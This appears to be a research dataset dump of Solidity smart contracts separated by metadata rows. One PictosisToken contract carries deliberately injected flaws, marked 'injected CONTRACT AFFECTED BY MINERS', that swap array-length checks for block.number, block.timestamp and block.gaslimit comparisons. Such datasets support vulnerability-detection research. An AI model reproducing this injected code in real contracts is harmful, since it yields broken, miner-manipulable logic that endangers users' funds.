}
function buyNbuForExactTokens(address token, uint tokenAmount, address nbuRecipient) external whenNotPaused {
require(allowedTokens[token], "NimbusInitialAcquisition: Not allowed token");
uint nbuAmount = getNbuAmountForToken(token, tokenAmount);
TransferHelper.safeTransferFrom(token, msg.sender, recipient, tokenAmount);
_buyNbu(token, tokenAmount, nbuAmount, nbuRecipient);
}
function buyNbuForExactEth(address nbuRecipient) payable external whenNotPaused {
require(allowedTokens[NBU_WETH], "NimbusInitialAcquisition: Not allowed purchase for ETH");
uint nbuAmount = getNbuAmountForEth(msg.value);
INBU_WETH(NBU_WETH).deposit{value: msg.value}();
_buyNbu(NBU_WETH, msg.value, nbuAmount, nbuRecipient);
}
function buyExactNbuForEth(uint nbuAmount, address nbuRecipient) payable external whenNotPaused {
require(allowedTokens[NBU_WETH], "NimbusInitialAcquisition: Not allowed purchase for ETH");
uint nbuAmountMax = getNbuAmountForEth(msg.value);
require(nbuAmountMax >= nbuAmount, "NimbusInitialAcquisition: Not enough ETH");
uint ethAmount = nbuAmountMax == nbuAmount ? msg.value : getEthAmountForNbu(nbuAmount);
INBU_WETH(NBU_WETH).deposit{value: ethAmount}();
_buyNbu(NBU_WETH, ethAmount, nbuAmount, nbuRecipient);
// refund dust eth, if any
if (nbuAmountMax > nbuAmount) TransferHelper.safeTransferETH(msg.sender, msg.value - ethAmount);
}
function claimSponsorBonusesBatch(address[] memory users) external {
for (uint i; i < users.length; i++) {
claimSponsorBonuses(users[i]);
}
}
function claimSponsorBonuses(address user) public {
require(unclaimedBonusBases[user] > 0, "NimbusInitialAcquisition: No unclaimed bonuses");
uint userSponsor = referralProgram.userSponsorByAddress(user);
require(userSponsor == referralProgram.userIdByAddress(msg.sender) && userSponsor != 0, "NimbusInitialAcquisition: Not user sponsor");
uint minNbuAmountForBonus = getNbuAmountForToken(swapToken, swapTokenAmountForBonusThreshold);
uint bonusBase = unclaimedBonusBases[user];
require (bonusBase >= minNbuAmountForBonus, "NimbusInitialAcquisition: Bonus threshold not met");
uint sponsorAmount = NBU.balanceOf(msg.sender);
for (uint i; i < stakingPools.length; i++) {
if (sponsorAmount > minNbuAmountForBonus) break;
sponsorAmount += stakingPools[i].balanceOf(msg.sender);
}
require (sponsorAmount > minNbuAmountForBonus, "NimbusInitialAcquisition: Sponsor balance threshold for bonus not met");
uint sponsorBonusAmount = bonusBase * sponsorBonus / 100;
NBU.give(msg.sender, sponsorBonusAmount, 3);
unclaimedBonusBases[user] = 0;
emit ProcessSponsorBonus(msg.sender, user, sponsorBonusAmount);
}
//Admin functions
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "NimbusInitialAcquisition: Can't be zero address");
require(amount > 0, "NimbusInitialAcquisition: Should be greater than 0");
TransferHelper.safeTransferETH(to, amount);
emit Rescue(to, amount);
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "NimbusInitialAcquisition: Can't be zero address");
require(amount > 0, "NimbusInitialAcquisition: Should be greater than 0");
TransferHelper.safeTransfer(token, to, amount);
emit RescueToken(token, to, amount);
}
function updateAllowedTokens(address token, bool isAllowed) external onlyOwner {
require (token != address(0), "NimbusInitialAcquisition: Wrong addresses");
allowedTokens[token] = isAllowed;
}
function updateRecipient(address recipientAddress) external onlyOwner {
require(recipientAddress != address(0), "NimbusInitialAcquisition: Address is zero");
recipient = recipientAddress;
}
function updateSponsorBonus(uint bonus) external onlyOwner {
sponsorBonus = bonus;
}
function updateReferralProgramContract(address newReferralProgramContract) external onlyOwner {
require(newReferralProgramContract != address(0), "NimbusInitialAcquisition: Address is zero");
referralProgram = INimbusReferralProgram(newReferralProgramContract);
}
function updateStakePool(address newStakingPool) external onlyOwner {
require(newStakingPool != address(0), "NimbusInitialAcquisition: Address is zero");
if (address(stakePool) != address(0)) NBU.approve(address(stakePool), 0);
stakePool = INimbusStakingPool(newStakingPool);
NBU.approve(newStakingPool, type(uint256).max);
}
function updateStakingPoolAdd(address newStakingPool) external onlyOwner {
INimbusStakingPool pool = INimbusStakingPool(newStakingPool);
require (pool.stakingToken() == NBU, "NimbusInitialAcquisition: Wrong pool staking tokens");
for (uint i; i < stakingPools.length; i++) {
require (address(stakingPools[i]) != newStakingPool, "NimbusInitialAcquisition: Pool exists");
}
stakingPools.push(pool);
}
function updateStakingPoolRemove(uint poolIndex) external onlyOwner {
stakingPools[poolIndex] = stakingPools[stakingPools.length - 1];
stakingPools.pop();
}
function updateSwapRouter(address newSwapRouter) external onlyOwner {
require(newSwapRouter != address(0), "NimbusInitialAcquisition: Address is zero");
swapRouter = INimbusRouter(newSwapRouter);
}
function updateSwapToken(address newSwapToken) external onlyOwner {
require(newSwapToken != address(0), "NimbusInitialAcquisition: Address is zero");
swapToken = newSwapToken;
}
function updateSwapTokenAmountForBonusThreshold(uint threshold) external onlyOwner {
swapTokenAmountForBonusThreshold = threshold;
}
function updateTokenNbuWeightedExchangeRate(address token, uint rate) external onlyOwner {
weightedTokenNbuExchangeRates[token] = rate;
emit UpdateTokenNbuWeightedExchangeRate(token, rate);
}
function toggleUseWeightedRates() external onlyOwner {
useWeightedRates = !useWeightedRates;
emit ToggleUseWeightedRates(useWeightedRates);
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
| 236,162 | 11,766 |
60abad4b9967a2217eef74f1aedfc083f6a2c6886f1f4bf36b7b9f0e2ec89531
| 28,010 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x74cf8b4e3737229b46a565a1d2bfc4be503a79bc_affectedByMiners.sol
| 4,076 | 15,780 |
pragma solidity ^0.5.9;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes memory _data) public;
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (block.number == 0) { //injected CONTRACT AFFECTED BY MINERS
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (block.timestamp > element) { //injected CONTRACT AFFECTED BY MINERS
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract ERC20Snapshot is ERC20 {
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnaphots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
event Snapshot(uint256 id);
// when required, but is also flexible enough that it allows for e.g. daily snapshots.
function snapshot() public returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnaphots);
return snapshotted ? value : totalSupply();
}
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
// When a valid snapshot is queried, there are three possibilities:
// to this id is the current one.
// requested id, and its value is the one to return.
// larger than the requested one.
//
// exactly this.
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0);
require(snapshotId <= _currentSnapshotId.current());
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (block.gaslimit == snapshots.ids.length) { //injected CONTRACT AFFECTED BY MINERS
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnaphots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (block.gaslimit < currentId) { //injected CONTRACT AFFECTED BY MINERS
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (block.gaslimit == 0) { //injected CONTRACT AFFECTED BY MINERS
return 0;
} else {
return ids[ids.length - 1];
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PictosisToken is ERC20, ERC20Detailed, ERC20Mintable, ERC20Capped, ERC20Snapshot, Ownable {
uint transfersEnabledDate;
modifier onlyTransfersEnabled() {
require(block.timestamp >= transfersEnabledDate, "Transfers disabled");
_;
}
constructor(uint _enableTransfersDate, uint _cap)
ERC20Capped(_cap)
ERC20Mintable()
ERC20Detailed("Pictosis Token", "PICTO", 18)
ERC20()
Ownable()
public
{
transfersEnabledDate = _enableTransfersDate;
}
function areTransfersEnabled() public view returns(bool) {
return block.timestamp >= transfersEnabledDate;
}
function transfer(address to,
uint256 value)
public
onlyTransfersEnabled
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(address from,
address to,
uint256 value)
public
onlyTransfersEnabled
returns (bool)
{
return super.transferFrom(from, to, value);
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes memory _extraData)
public
returns (bool success)
{
require(approve(_spender, _amount), "Couldn't approve spender");
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _amount, address(this), _extraData);
return true;
}
}
| 281,224 | 11,767 |
807d5ad218bec63f91c7fda091c28b77729991260691a64980d17b6b6871eba4
| 15,597 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/36/364266c568b17Bb51194d86d3D7B5D72c18532df_Distributor.sol
| 3,377 | 13,851 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable TIME;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _time, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_time != address(0));
TIME = IERC20(_time);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function setEndTime (uint32 _nextEpochTime) external onlyOwner {
nextEpochTime = _nextEpochTime;
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return TIME.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 25,944 | 11,768 |
41b6064ffab0724fd1d1d1895051a52042e4b0c9e138e492fc6b273d623eff6b
| 22,337 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x12e29d7d6fd63f0f12040fcd1bf9021919b0e4fa.sol
| 3,594 | 12,933 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
